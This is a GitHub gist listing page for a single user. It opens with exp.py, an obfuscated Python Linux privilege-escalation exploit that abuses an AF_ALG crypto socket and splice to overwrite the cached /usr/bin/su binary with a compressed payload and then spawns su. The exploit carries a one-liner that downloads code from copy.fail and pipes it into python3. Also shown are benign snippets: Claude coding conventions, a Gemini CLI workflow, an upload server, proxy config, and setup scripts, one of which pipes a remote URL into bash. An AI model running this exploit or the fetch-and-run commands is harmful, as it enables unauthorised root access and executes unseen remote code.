Skip to content

Instantly share code, notes, and snippets.

@shikendon
shikendon / exp.py
Created April 30, 2026 23:39
curl https://copy.fail/exp | python3 && su
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

User-Level Conventions

Language Preferences

  • 使用正體中文(Traditional Chinese)回應使用者。
  • 偏好 self-documenting source code

Self-Review

  • 犯錯被糾正時,立即反省並寫進對應的 CLAUDE.md,不需要使用者提醒,不接受口頭承諾。
@shikendon
shikendon / gemini-developer.yml
Created October 19, 2025 23:54
Github Actions feat. Gemini CLI
name: Gemini Developer
on:
pull_request:
types:
- opened
- synchronize
- reopened
pull_request_review_comment:
types:
#!/usr/bin/env python
"""Extend Python's built in HTTP server to save files
curl or wget can be used to send files with options similar to the following
curl -X PUT --upload-file somefile.txt http://localhost:8000
wget -O- --method=PUT --body-file=somefile.txt http://localhost:8000/somefile.txt
__Note__: curl automatically appends the filename onto the end of the URL so
@shikendon
shikendon / config.yml
Last active July 20, 2025 21:01
Deploy a simple Minecraft proxy server.
# Change your BungeeCord configuration to enable PROXY Protocol.
listeners:
- host: 0.0.0.0:25577
proxy_protocol: true
@shikendon
shikendon / deploy-google-bbr.sh
Last active March 1, 2024 09:52
Debian network optimization scripts.
#!/bin/bash
# Author: Shi-Ken Don <shiken.don@gmail.com>
# Source: https://git.io/deploy-google-bbr.sh
# License: MIT
set -e
sudo -V > /dev/null || apt -y install sudo
if [[ ! -e /etc/sysctl.d/11-google-bbr.conf ]]; then
@shikendon
shikendon / deploy-consul-agent.sh
Last active August 26, 2023 15:11
Debian network optimization scripts. (Development)
#!/bin/bash
# Author: Shi-Ken Don <shiken.don@gmail.com>
# Source: https://git.io/deploy-consul-agent.sh.dev
# License: MIT
set -e
sudo -V > /dev/null || apt -y install sudo
sudo apt -y install consul
@shikendon
shikendon / build-mmproxy.sh
Last active January 31, 2019 20:44
Build mmproxy on CentOS 7
#!/usr/bin/env bash
set -e
cat <<'END' | sudo tee /etc/yum.repos.d/epel-alonid-llvm.repo
[epel-alonid-llvm-3.9.0]
name=Copr repo for llvm-3.9.0 owned by alonid
baseurl=https://copr-be.cloud.fedoraproject.org/results/alonid/llvm-3.9.0/epel-7-$basearch/
type=rpm-md
enabled=0
gpgkey=https://copr-be.cloud.fedoraproject.org/results/alonid/llvm-3.9.0/pubkey.gpg
@shikendon
shikendon / debian-bootstrap.sh
Last active March 7, 2024 15:23
Generate 4 vertically panes tmux.conf
#!/bin/bash
# Author: Shi-Ken Don <shiken.don@gmail.com>
# Source: https://git.io/debian-bootstrap.sh
# License: MIT
set -e
sudo -V > /dev/null || apt -y install sudo
curl -fsSL git.io/vpeYx | sed 's/eth0/enp1s0/' | bash
@shikendon
shikendon / ddos-mitigation-notes.md
Last active November 8, 2023 10:34
Best Practices for DDoS Protection and Mitigation on Linux